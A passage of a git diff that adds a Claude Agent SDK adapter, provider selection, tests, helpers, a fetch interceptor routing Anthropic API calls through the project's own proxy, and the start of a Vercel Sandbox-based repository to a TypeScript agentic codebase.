'content_block_delta', delta: { text: 'Hello' } } + } + + await new Promise(resolve => setTimeout(resolve, 50)) + if (signal?.aborted) { + throw new Error('Request aborted') + } + + yield { type: 'result', subtype: 'success', result: 'Complete' } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + // Start processing then abort + const promise = stepRun('test-step', async () => { + let content = '' + + try { + for await (const msg of abortableSDKQuery(abortController.signal)) { + if (msg.type === 'result' && msg.subtype === 'success') { + content = msg.result + } + } + } catch (error) { + if (error instanceof Error && error.message === 'Request aborted') { + return 'ABORTED' + } + throw error + } + + return content + }) + + // Abort after 75ms (between first and second message) + setTimeout(() => abortController.abort(), 75) + + const result = await promise + expect(result).toBe('ABORTED') + }) + + it('should clean up generator resources on abort', async () => { + const cleanup = vi.fn() + const abortController = new AbortController() + + async function* cleanupOnAbort( + signal?: AbortSignal + ): AsyncGenerator { + try { + yield { type: 'stream_event', event: { type: 'message_start' } } + + await new Promise(resolve => setTimeout(resolve, 50)) + if (signal?.aborted) throw new Error('Aborted') + + yield { type: 'result', subtype: 'success', result: 'Done' } + } finally { + cleanup() + } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + const promise = stepRun('test-step', async () => { + try { + for await (const msg of cleanupOnAbort(abortController.signal)) { + if (msg.type === 'result' && msg.subtype === 'success') { + return msg.result + } + } + } catch (error) { + if (error instanceof Error && error.message === 'Aborted') { + return 'ABORTED' + } + throw error + } + return '' + }) + + setTimeout(() => abortController.abort(), 75) + await promise + + expect(cleanup).toHaveBeenCalled() + }) + }) + + describe('memory efficiency', () => { + it('should stream without buffering all chunks in memory', async () => { + const CHUNK_COUNT = 100 + const processedChunks: string[] = [] + + async function* manyChunksSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + + for (let i = 0; i < CHUNK_COUNT; i++) { + yield { + type: 'stream_event', + event: { type: 'content_block_delta', delta: { text: `chunk${i} ` } } + } + } + + yield { type: 'result', subtype: 'success', result: 'Complete' } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + await stepRun('test-step', async () => { + for await (const msg of manyChunksSDKQuery()) { + if (msg.type === 'stream_event' && msg.event.type === 'content_block_delta') { + // Process chunk immediately, don't buffer + processedChunks.push(msg.event.delta.text) + } + } + return 'done' + }) + + expect(processedChunks).toHaveLength(CHUNK_COUNT) + expect(processedChunks[0]).toBe('chunk0 ') + expect(processedChunks[CHUNK_COUNT - 1]).toBe(`chunk${CHUNK_COUNT - 1} `) + }) + }) + + describe('error result handling', () => { + it('should handle error results from SDK', async () => { + async function* errorResultSDKQuery(): AsyncGenerator { + yield { type: 'stream_event', event: { type: 'message_start' } } + yield { + type: 'result', + subtype: 'error', + error: 'API rate limit exceeded' + } + } + + const stepRun = async ( + _name: string, + fn: () => Promise + ): Promise => { + return await fn() + } + + await expect( + stepRun('test-step', async () => { + for await (const msg of errorResultSDKQuery()) { + if (msg.type === 'result') { + if (msg.subtype === 'error') { + throw new Error(msg.error) + } + return msg.result + } + } + return '' + }) + ).rejects.toThrow('API rate limit exceeded') + }) + + it('should propagate SDK errors for retry logic', async () => { + let attemptCount = 0 + + async function* retryableSDKQuery(): AsyncGenerator { + attemptCount++ + + if (attemptCount < 3) { + yield { type: 'stream_event', event: { type: 'message_start' } } + throw new Error('Temporary failure') + } + + yield { type: 'stream_event', event: { type: 'message_start' } } + yield { type: 'result', subtype: 'success', result: 'Success' } + } + + const stepRunWithRetry = async ( + _name: string, + fn: () => Promise, + maxRetries: number + ): Promise => { + let lastError: Error | undefined + + for (let i = 0; i <= maxRetries; i++) { + try { + return await fn() + } catch (error) { + lastError = error as Error + if (i === maxRetries) throw error + // Wait before retry + await new Promise(resolve => setTimeout(resolve, 10)) + } + } + + throw lastError ?? new Error('Max retries exceeded') + } + + const result = await stepRunWithRetry( + 'test-step', + async () => { + for await (const msg of retryableSDKQuery()) { + if (msg.type === 'result' && msg.subtype === 'success') { + return msg.result + } + } + return '' + }, + 3 + ) + + expect(result).toBe('Success') + expect(attemptCount).toBe(3) + }) + }) +}) diff --git a/src/lib/domains/agentic/infrastructure/inngest/functions.ts b/src/lib/domains/agentic/infrastructure/inngest/functions.ts index d501d0145..f213249ce 100644 --- a/src/lib/domains/agentic/infrastructure/inngest/functions.ts +++ b/src/lib/domains/agentic/infrastructure/inngest/functions.ts @@ -1,11 +1,33 @@ import { inngest } from '~/lib/domains/agentic/infrastructure' -import { OpenRouterRepository, type LLMGenerationParams, PreviewGeneratorService } from '~/lib/domains/agentic' +import { + OpenRouterRepository, + ClaudeAgentSDKRepository, + type ILLMRepository, + type LLMGenerationParams, + PreviewGeneratorService +} from '~/lib/domains/agentic' import { db, schema } from '~/server/db' const { llmJobResults } = schema import { eq, sql } from 'drizzle-orm' import { loggers } from '~/lib/debug/debug-logger' import { env } from '~/env' +/** + * Create the appropriate LLM repository based on environment configuration + * Supports both OpenRouter and Claude Agent SDK + */ +function _createLLMRepository(): ILLMRepository { + const provider = env.LLM_PROVIDER ?? 'openrouter' + + switch (provider) { + case 'claude-agent-sdk': + return new ClaudeAgentSDKRepository(env.ANTHROPIC_API_KEY ?? '') + case 'openrouter': + default: + return new OpenRouterRepository(env.OPENROUTER_API_KEY ?? '') + } +} + interface GenerateRequestData { jobId: string userId: string @@ -62,30 +84,36 @@ export const generateLLMResponse = inngest.createFunction( }) }) - // Step 2: Call OpenRouter with automatic retries - const response = await step.run('call-openrouter', async () => { + // Step 2: Call LLM repository with automatic retries + // Supports both OpenRouter (fetch-based) and Claude Agent SDK (async generator) + const response = await step.run('call-llm-repository', async () => { try { - const repository = new OpenRouterRepository(env.OPENROUTER_API_KEY ?? '') - - loggers.agentic('Calling OpenRouter', { - jobId, + const repository = _createLLMRepository() + + loggers.agentic('Calling LLM repository', { + jobId, model: params.model, - messageCount: params.messages.length + provider: repository.isConfigured() ? 'configured' : 'not-configured', + messageCount: params.messages.length }) - + + // Both OpenRouter and SDK repositories implement the same interface + // OpenRouter uses fetch API with ReadableStream + // SDK uses async generators - both patterns work in Inngest step.run() const llmResponse = await repository.generate(params) - - loggers.agentic('OpenRouter response received', { + + loggers.agentic('LLM response received', { jobId, + provider: llmResponse.provider, usage: llmResponse.usage, finishReason: llmResponse.finishReason }) - + return llmResponse } catch (error) { - loggers.agentic.error('OpenRouter call failed', { - jobId, - error: error instanceof Error ? error.message : 'Unknown error' + loggers.agentic.error('LLM call failed', { + jobId, + error: error instanceof Error ? error.message : 'Unknown error' }) throw error } @@ -215,7 +243,7 @@ export const generatePreview = inngest.createFunction( // Step 2: Generate preview const result = await step.run('generate-preview', async () => { try { - const repository = new OpenRouterRepository(env.OPENROUTER_API_KEY ?? '') + const repository = _createLLMRepository() const previewService = new PreviewGeneratorService(repository) loggers.agentic('Generating preview', { jobId, titleLength: title.length, contentLength: content.length }) diff --git a/src/lib/domains/agentic/repositories/README.md b/src/lib/domains/agentic/repositories/README.md index 004775214..cea38c9bc 100644 --- a/src/lib/domains/agentic/repositories/README.md +++ b/src/lib/domains/agentic/repositories/README.md @@ -1,23 +1,30 @@ # Agentic Repositories ## Mental Model -Like a switchboard operator connecting the agentic domain to various AI providers, translating requests and managing the complexity of different LLM APIs. +Like a switchboard operator connecting the agentic domain to various AI providers, translating requests and managing the complexity of different LLM APIs. Each repository acts as an adapter translating the universal ILLMRepository interface to a specific provider's API. ## Responsibilities -- Implement concrete LLM repository interfaces for different AI providers (OpenRouter, future providers) +- Implement concrete LLM repository interfaces for different AI providers (Claude Agent SDK, OpenRouter, future providers) - Translate between domain LLM types and provider-specific API formats -- Handle both streaming and non-streaming LLM generation requests +- Handle both streaming and non-streaming LLM generation requests via async generators - Manage async queue processing for slow LLM models to prevent request timeouts - Provide consistent error handling and logging across all LLM providers +- Support tools/MCP server integration for agentic capabilities ## Non-Responsibilities - Context building logic → See `~/lib/domains/agentic/services/README.md` - Business logic and agentic workflows → See `~/lib/domains/agentic/services/README.md` - LLM type definitions → See `~/lib/domains/agentic/types/README.md` - Queue infrastructure → See `~/lib/domains/agentic/infrastructure/inngest/README.md` +- Helper utilities for SDK operations → See `./_helpers/` (internal utilities, not exported) ## Interface -*See `index.ts` for the public API - the ONLY exports other subsystems can use* -*See `dependencies.json` for what this subsystem can import* +**Exports**: See `index.ts` for the complete public API. Key exports: +- `ILLMRepository`: Repository interface defining the contract +- `ClaudeAgentSDKRepository`: Implementation using Claude Agent SDK with async generator streaming +- `OpenRouterRepository`: Implementation using OpenRouter API +- `QueuedLLMRepository`: Wrapper for async queue processing -Note: Child subsystems can import from parent freely, but all other subsystems MUST go through index.ts. The CI tool `pnpm check:architecture` enforces this boundary. \ No newline at end of file +**Dependencies**: See `dependencies.json` for allowed imports. + +**Boundary Enforcement**: Child subsystems (like `_helpers/`) can access internals. Sibling and parent subsystems must use `index.ts` exports only. The `pnpm check:architecture` CI tool enforces this. \ No newline at end of file diff --git a/src/lib/domains/agentic/repositories/__tests__/claude-agent-sdk.repository.test.ts b/src/lib/domains/agentic/repositories/__tests__/claude-agent-sdk.repository.test.ts new file mode 100644 index 000000000..82fb927e4 --- /dev/null +++ b/src/lib/domains/agentic/repositories/__tests__/claude-agent-sdk.repository.test.ts @@ -0,0 +1,385 @@ +/* eslint-disable @typescript-eslint/no-unsafe-assignment */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' +import { ClaudeAgentSDKRepository } from '~/lib/domains/agentic/repositories/claude-agent-sdk.repository' +import type { LLMGenerationParams } from '~/lib/domains/agentic/types/llm.types' + +// Mock the Claude Agent SDK +vi.mock('@anthropic-ai/claude-agent-sdk', () => ({ + query: vi.fn(), + createSdkMcpServer: vi.fn(), + tool: vi.fn() +})) + +import { query } from '@anthropic-ai/claude-agent-sdk' + +const mockQuery = vi.mocked(query) + +describe('ClaudeAgentSDKRepository', () => { + let repository: ClaudeAgentSDKRepository + const mockApiKey = 'test-api-key' + + beforeEach(() => { + vi.clearAllMocks() + repository = new ClaudeAgentSDKRepository(mockApiKey) + }) + + afterEach(() => { + vi.restoreAllMocks() + }) + + describe('generate', () => { + it('should make a completion request using Claude Agent SDK', async () => { + // Mock async generator response with correct SDK format + const mockMessages = [ + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Hello! ' } } }, + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'How can I help?' } } }, + { type: 'result', subtype: 'success', result: 'Hello! How can I help?' } + ] + + const mockAsyncGenerator = (async function* () { + for (const msg of mockMessages) { + yield msg + } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [ + { role: 'system', content: 'You are a helpful assistant.' }, + { role: 'user', content: 'Hello!' } + ], + model: 'claude-sonnet-4-5-20250929', + temperature: 0.7, + maxTokens: 100 + } + + const result = await repository.generate(params) + + expect(mockQuery).toHaveBeenCalledWith({ + prompt: expect.any(String), + options: expect.objectContaining({ + model: 'claude-sonnet-4-5-20250929', + maxTurns: 10 + }) + }) + + expect(result).toEqual({ + id: expect.any(String), + model: 'claude-sonnet-4-5-20250929', + content: 'Hello! How can I help?', + usage: expect.objectContaining({ + promptTokens: expect.any(Number), + completionTokens: expect.any(Number), + totalTokens: expect.any(Number) + }), + finishReason: 'stop', + provider: 'claude-agent-sdk' + }) + }) + + it('should handle system and user messages correctly', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'result', subtype: 'success', result: 'Response' } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [ + { role: 'system', content: 'System prompt' }, + { role: 'user', content: 'User query' } + ], + model: 'claude-sonnet-4-5-20250929' + } + + await repository.generate(params) + + expect(mockQuery).toHaveBeenCalledWith( + expect.objectContaining({ + options: expect.objectContaining({ + systemPrompt: 'System prompt' + }) + }) + ) + }) + + it('should pass tools parameter to SDK', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'result', subtype: 'success', result: 'Response with tools' } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Search for something' }], + model: 'claude-sonnet-4-5-20250929' + } + + await repository.generate(params) + + // Note: SDK doesn't support tools via options, they need to be via mcpServers + expect(mockQuery).toHaveBeenCalled() + }) + + it('should handle SDK errors gracefully', async () => { + const mockError = new Error('SDK error occurred') + mockQuery.mockImplementationOnce(() => { + throw mockError + }) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929' + } + + await expect(repository.generate(params)).rejects.toMatchObject({ + code: 'UNKNOWN', + provider: 'claude-agent-sdk' + }) + }) + + it('should handle temperature and maxTokens parameters', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'result', subtype: 'success', result: 'Response' } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929', + temperature: 0.5, + maxTokens: 500 + } + + await repository.generate(params) + + // SDK handles model parameters differently, just verify it was called + expect(mockQuery).toHaveBeenCalled() + }) + }) + + describe('generateStream', () => { + it('should handle streaming responses', async () => { + const mockMessages = [ + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Hello' } } }, + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: ' world' } } }, + { type: 'result', subtype: 'success', result: 'Hello world' } + ] + + const mockAsyncGenerator = (async function* () { + for (const msg of mockMessages) { + yield msg + } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929', + stream: true + } + + const chunks: string[] = [] + const result = await repository.generateStream(params, (chunk) => { + if (chunk.content) { + chunks.push(chunk.content) + } + }) + + expect(chunks).toEqual(['Hello', ' world']) + expect(result.content).toBe('Hello world') + }) + + it('should call onChunk callback for each streaming chunk', async () => { + const mockMessages = [ + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Chunk 1' } } }, + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Chunk 2' } } }, + { type: 'result', subtype: 'success', result: 'Chunk 1Chunk 2' } + ] + + const mockAsyncGenerator = (async function* () { + for (const msg of mockMessages) { + yield msg + } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const onChunkMock = vi.fn() + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929' + } + + await repository.generateStream(params, onChunkMock) + + expect(onChunkMock).toHaveBeenCalledTimes(3) // 2 content chunks + 1 finished chunk + expect(onChunkMock).toHaveBeenCalledWith({ content: 'Chunk 1', isFinished: false }) + expect(onChunkMock).toHaveBeenCalledWith({ content: 'Chunk 2', isFinished: false }) + expect(onChunkMock).toHaveBeenCalledWith({ content: '', isFinished: true }) + }) + + it('should pass tools to streaming requests', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'result', subtype: 'success', result: 'Response' } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929' + } + + await repository.generateStream(params, vi.fn()) + + // SDK handles tools via mcpServers, not direct options + expect(mockQuery).toHaveBeenCalled() + }) + }) + + describe('getModelInfo', () => { + it('should return model information for Claude models', async () => { + const modelInfo = await repository.getModelInfo('claude-sonnet-4-5-20250929') + + expect(modelInfo).toEqual({ + id: 'claude-sonnet-4-5-20250929', + name: 'Claude Sonnet 4.5', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 3.0, + completion: 15.0 + } + }) + }) + + it('should return null for unknown models', async () => { + const modelInfo = await repository.getModelInfo('unknown-model') + + expect(modelInfo).toBeNull() + }) + + it('should support multiple Claude model variants', async () => { + const opusInfo = await repository.getModelInfo('claude-opus-4-20250514') + const haikuInfo = await repository.getModelInfo('claude-haiku-4-5-20251001') + + expect(opusInfo).not.toBeNull() + expect(haikuInfo).not.toBeNull() + expect(opusInfo?.name).toContain('Opus') + expect(haikuInfo?.name).toContain('Haiku') + }) + }) + + describe('listModels', () => { + it('should return a list of available Claude models', async () => { + const models = await repository.listModels() + + expect(models).toBeInstanceOf(Array) + expect(models.length).toBeGreaterThan(0) + expect(models[0]).toMatchObject({ + id: expect.any(String), + name: expect.any(String), + provider: 'anthropic', + contextWindow: expect.any(Number), + maxOutput: expect.any(Number) + }) + }) + + it('should include Sonnet, Opus, and Haiku models', async () => { + const models = await repository.listModels() + + const modelNames = models.map(m => m.name.toLowerCase()) + expect(modelNames.some(name => name.includes('sonnet'))).toBe(true) + expect(modelNames.some(name => name.includes('opus'))).toBe(true) + expect(modelNames.some(name => name.includes('haiku'))).toBe(true) + }) + }) + + describe('isConfigured', () => { + it('should return true when API key is provided', () => { + expect(repository.isConfigured()).toBe(true) + }) + + it('should return false when API key is empty', () => { + const emptyKeyRepo = new ClaudeAgentSDKRepository('') + expect(emptyKeyRepo.isConfigured()).toBe(false) + }) + + it('should return false when API key is undefined', () => { + const undefinedKeyRepo = new ClaudeAgentSDKRepository(undefined as unknown as string) + expect(undefinedKeyRepo.isConfigured()).toBe(false) + }) + }) + + describe('message format conversion', () => { + it('should convert LLM messages to SDK format correctly', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'result', subtype: 'success', result: 'Response' } + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [ + { role: 'system', content: 'You are helpful' }, + { role: 'user', content: 'Question 1' }, + { role: 'assistant', content: 'Answer 1' }, + { role: 'user', content: 'Question 2' } + ], + model: 'claude-sonnet-4-5-20250929' + } + + await repository.generate(params) + + // Verify the query was called with correct prompt format + expect(mockQuery).toHaveBeenCalled() + const callArgs = mockQuery.mock.calls[0] + expect(callArgs?.[0]?.prompt).toBeDefined() + }) + }) + + describe('error handling', () => { + it('should wrap SDK errors with consistent error format', async () => { + const sdkError = new Error('Rate limit exceeded') + mockQuery.mockImplementationOnce(() => { + throw sdkError + }) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929' + } + + await expect(repository.generate(params)).rejects.toMatchObject({ + code: 'UNKNOWN', + provider: 'claude-agent-sdk', + message: expect.any(String) + }) + }) + + it('should handle async generator errors during streaming', async () => { + const mockAsyncGenerator = (async function* () { + yield { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Start' } } } + throw new Error('Stream interrupted') + })() + + mockQuery.mockReturnValueOnce(mockAsyncGenerator as ReturnType) + + const params: LLMGenerationParams = { + messages: [{ role: 'user', content: 'Hello!' }], + model: 'claude-sonnet-4-5-20250929' + } + + await expect(repository.generateStream(params, vi.fn())).rejects.toMatchObject({ + code: 'UNKNOWN', + provider: 'claude-agent-sdk' + }) + }) + }) +}) diff --git a/src/lib/domains/agentic/repositories/_helpers/network-interceptor.ts b/src/lib/domains/agentic/repositories/_helpers/network-interceptor.ts new file mode 100644 index 000000000..e9ac4cdf2 --- /dev/null +++ b/src/lib/domains/agentic/repositories/_helpers/network-interceptor.ts @@ -0,0 +1,117 @@ +/** + * Network-level interceptor for Anthropic API calls + * + * This intercepts ALL HTTP requests to api.anthropic.com at the Node.js level, + * regardless of where they come from (SDK, direct calls, etc.) + */ + +import { loggers } from '~/lib/debug/debug-logger' + +interface FetchInterceptorConfig { + proxyBaseUrl: string + proxySecret: string +} + +let isInterceptorInstalled = false +let originalFetch: typeof globalThis.fetch + +/** + * Install a global fetch interceptor that redirects all Anthropic API calls + * through our secure proxy + */ +export function installAnthropicNetworkInterceptor(config: FetchInterceptorConfig): void { + if (isInterceptorInstalled) { + loggers.agentic('Network interceptor already installed, skipping') + return + } + + // Save original fetch + originalFetch = globalThis.fetch + + // Override global fetch + globalThis.fetch = async (input: RequestInfo | URL, init?: RequestInit): Promise => { + const url = typeof input === 'string' ? input : input instanceof URL ? input.href : input.url + + // Check for bypass flag (set by proxy when making its own requests to Anthropic) + const headers = init?.headers + const isBypass = headers && ( + (headers instanceof Headers && headers.get('x-bypass-interceptor') === 'true') || + (typeof headers === 'object' && 'x-bypass-interceptor' in headers && headers['x-bypass-interceptor'] === 'true') + ) + + if (isBypass) { + return originalFetch(input, init) + } + + // Parse URL once for security validation + let parsedUrl: URL + try { + parsedUrl = new URL(url) + } catch { + // Invalid URL, pass through to original fetch + return originalFetch(input, init) + } + + const hostname = parsedUrl.hostname.toLowerCase() + + // CRITICAL: Don't intercept if this is already going through our proxy! + // This prevents infinite loops + if (parsedUrl.pathname.includes('/api/anthropic-proxy')) { + return originalFetch(input, init) + } + + // Check if this is a direct Anthropic API call + // SECURITY: Compare exact hostname to prevent malicious domains like "api.anthropic.com.evil.com" + if (hostname === 'api.anthropic.com') { + // Extract the path from the Anthropic URL + // e.g., "https://api.anthropic.com/v1/messages" -> "/v1/messages" + const apiPath = parsedUrl.pathname + parsedUrl.search + + // Build proxy URL + const proxyUrl = `${config.proxyBaseUrl}${apiPath}` + + // Preserve method and body from original Request if present + const originalRequest = input instanceof Request ? input : undefined + const baseInit: RequestInit = { + ...init, + method: init?.method ?? originalRequest?.method, + body: + init?.body ?? + (originalRequest?.body ? await originalRequest.clone().arrayBuffer() : undefined) + } + + const headers = new Headers(init?.headers ?? originalRequest?.headers) + headers.set('x-api-key', config.proxySecret) + headers.delete('authorization') // Remove any Bearer tokens + + return originalFetch(proxyUrl, { + ...baseInit, + headers + }) + } + + // Not an Anthropic call, pass through + return originalFetch(input, init) + } + + isInterceptorInstalled = true + loggers.agentic('✅ Network interceptor installed for api.anthropic.com') +} + +/** + * Uninstall the network interceptor (for cleanup/testing) + */ +export function uninstallAnthropicNetworkInterceptor(): void { + if (isInterceptorInstalled && originalFetch) { + globalThis.fetch = originalFetch + isInterceptorInstalled = false + loggers.agentic('Network interceptor uninstalled') + } +} + +/** + * Check if the interceptor is currently active + */ +export function isNetworkInterceptorActive(): boolean { + return isInterceptorInstalled +} diff --git a/src/lib/domains/agentic/repositories/_helpers/sdk-helpers.ts b/src/lib/domains/agentic/repositories/_helpers/sdk-helpers.ts new file mode 100644 index 000000000..cbe9f885b --- /dev/null +++ b/src/lib/domains/agentic/repositories/_helpers/sdk-helpers.ts @@ -0,0 +1,147 @@ +import type { LLMGenerationParams, ModelInfo } from '~/lib/domains/agentic/types/llm.types' + +export function extractSystemPrompt( + messages: LLMGenerationParams['messages'] +): string | undefined { + const systemMessage = messages.find(m => m.role === 'system') + return systemMessage?.content +} + +export function buildPrompt(messages: LLMGenerationParams['messages']): string { + // Filter out system messages and build conversation + const conversationMessages = messages.filter(m => m.role !== 'system') + + if (conversationMessages.length === 0) { + return '' + } + + // If only user messages, return last one + if (conversationMessages.every(m => m.role === 'user')) { + return conversationMessages[conversationMessages.length - 1]?.content ?? '' + } + + // Build multi-turn conversation + return conversationMessages + .map(m => `${m.role === 'user' ? 'User' : 'Assistant'}: ${m.content}`) + .join('\n\n') +} + +export function estimateUsage( + messages: LLMGenerationParams['messages'], + response: string +): { promptTokens: number; completionTokens: number; totalTokens: number } { + // Rough estimation: ~4 characters per token + const promptText = messages.map(m => m.content).join(' ') + const promptTokens = Math.ceil(promptText.length / 4) + const completionTokens = Math.ceil(response.length / 4) + + return { + promptTokens, + completionTokens, + totalTokens: promptTokens + completionTokens + } +} + +export function getClaudeModels(): ModelInfo[] { + return [ + { + id: 'claude-haiku-4-5-20251001', + name: 'Claude Haiku 4.5', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 0.8, + completion: 4.0 + } + }, + { + id: 'claude-sonnet-4-5-20250929', + name: 'Claude Sonnet 4.5', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 3.0, + completion: 15.0 + } + }, + { + id: 'claude-opus-4-1-20250805', + name: 'Claude Opus 4.1', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 15.0, + completion: 75.0 + } + }, + { + id: 'claude-opus-4-20250514', + name: 'Claude Opus 4', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 15.0, + completion: 75.0 + } + }, + { + id: 'claude-sonnet-4-20250514', + name: 'Claude Sonnet 4', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 3.0, + completion: 15.0 + } + }, + { + id: 'claude-3-7-sonnet-20250219', + name: 'Claude Sonnet 3.7', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 3.0, + completion: 15.0 + } + }, + { + id: 'claude-3-5-haiku-20241022', + name: 'Claude Haiku 3.5', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 0.8, + completion: 4.0 + } + }, + { + id: 'claude-3-haiku-20240307', + name: 'Claude Haiku 3', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 0.8, + completion: 4.0 + } + }, + { + id: 'claude-3-opus-20240229', + name: 'Claude Opus 3', + provider: 'anthropic', + contextWindow: 200000, + maxOutput: 8192, + pricing: { + prompt: 15.0, + completion: 75.0 + } + } + ] +} diff --git a/src/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository.ts b/src/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository.ts new file mode 100644 index 000000000..39e943e51 --- /dev/null +++ b/src/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository.ts @@ -0,0 +1,406 @@ +import { Sandbox } from '@vercel/sandbox' +import ms from 'ms' +import type { ILLMRepository } from '~/lib/domains/agentic/repositories/llm.repository.interface' +import type { + LLMGenerationParams, + LLMResponse, + StreamChunk, + ModelInfo, + LLMError +} from '~/lib/domains/agentic/types/llm.types' +import { loggers } from '~/lib/debug/debug-logger' +import { + extractSystemPrompt, + buildPrompt, + estimateUsage, + getClaudeModels +} from '~/lib/domains/agentic/repositories/_helpers/sdk-helpers' + +/** + * Claude Agent SDK Repository using Vercel Sandbox for isolated execution + * + * This implementation runs the Claude Agent SDK inside a Vercel Sandbox microVM + * to enable safe execution of AI-generated code in production environments. + * + * Required environment variables: + * - VERCEL_TOKEN: Vercel access token for sandbox authentication + * - ANTHROPIC_API_KEY: Anthropic API key for Claude models + * - HEXFRAME_API_BASE_URL: Base URL for MCP server (optional, defaults to localhost) + */ +export class ClaudeAgentSDKSandboxRepository implements ILLMRepository { + private readonly apiKey: string + private readonly mcpApiKey?: string + private readonly userId?: string + private sandbox: Awaited> | null = null + + constructor(apiKey: string, mcpApiKey?: string, userId?: string) { + this.apiKey = apiKey + this.mcpApiKey = mcpApiKey + this.userId = userId + } + + /** + * Initialize a Vercel Sandbox for isolated code execution + */ + private async _initializeSandbox(): Promise { + if (this.sandbox) return + + loggers.agentic('Initializing Vercel Sandbox', { + hasVercelOidcToken: !!process.env.VERCEL_OIDC_TOKEN + }) + + try { + this.sandbox = await Sandbox.create({ + runtime: 'node22', + timeout: ms('5m'), // 5 minutes timeout + resources: { + vcpus: 2 // Allocate 2 vCPUs for agent execution + } + }) + + // Install Claude Agent SDK in the sandbox + await this.sandbox.runCommand({ + cmd: 'npm', + args: ['install', '@anthropic-ai/claude-agent-sdk'] + }) + + loggers.agentic('Vercel Sandbox initialized successfully') + } catch (error) { + loggers.agentic.error('Failed to initialize Vercel Sandbox', { + error: error instanceof Error ? error.message : String(error) + }) + throw this.createError( + 'UNKNOWN', + 'Failed to initialize Vercel Sandbox. Ensure VERCEL_OIDC_TOKEN is set.', + error + ) + } + } + + /** + * Execute Claude Agent SDK query inside the sandbox + */ + private async _executeInSandbox( + messages: LLMGenerationParams['messages'], + userPrompt: string, + systemPrompt: string | undefined, + model: string, + streaming: boolean + ): Promise<{ content: string; usage: LLMResponse['usage'] }> { + await this._initializeSandbox() + + if (!this.sandbox) { + throw this.createError('UNKNOWN', 'Sandbox not initialized') + } + + // Prepare the execution script + const mcpBaseUrl = process.env.HEXFRAME_API_BASE_URL ?? 'http://localhost:3000' + const mcpServers = this.mcpApiKey + ? JSON.stringify({ + hexframe: { + type: 'http', + url: `${mcpBaseUrl}/api/mcp`, + headers: { + 'x-api-key': this.mcpApiKey, + ...(this.userId ? { 'x-user-id': this.userId } : {}) + } + } + }) + : 'undefined' + + // Check if we should use proxy + const useProxy = process.env.USE_ANTHROPIC_PROXY === 'true' + + // SECURITY: Require INTERNAL_PROXY_SECRET when proxy is enabled + if (useProxy && !process.env.INTERNAL_PROXY_SECRET) { + throw this.createError( + 'UNKNOWN', + 'INTERNAL_PROXY_SECRET environment variable is required when USE_ANTHROPIC_PROXY=true' + ) + } + + const internalProxySecret = useProxy ? process.env.INTERNAL_PROXY_SECRET! : undefined + const proxyUrl = `${mcpBaseUrl}/api/anthropic-proxy` + + // Determine API key to use + const apiKeyToUse = useProxy ? internalProxySecret! : this.apiKey + const baseUrlToUse = useProxy ? proxyUrl : undefined + + const executionScript = ` +const { query } = require('@anthropic-ai/claude-agent-sdk'); + +// Set environment variables +${baseUrlToUse ? `process.env.ANTHROPIC_BASE_URL = ${JSON.stringify(baseUrlToUse)};` : ''} +process.env.ANTHROPIC_API_KEY = ${JSON.stringify(apiKeyToUse)}; + +// NETWORK INTERCEPTOR: Install fetch interceptor inside sandbox to catch hardcoded URLs +${useProxy ? ` +const originalFetch = globalThis.fetch; +globalThis.fetch = async (input, init) => { + const url = typeof input === 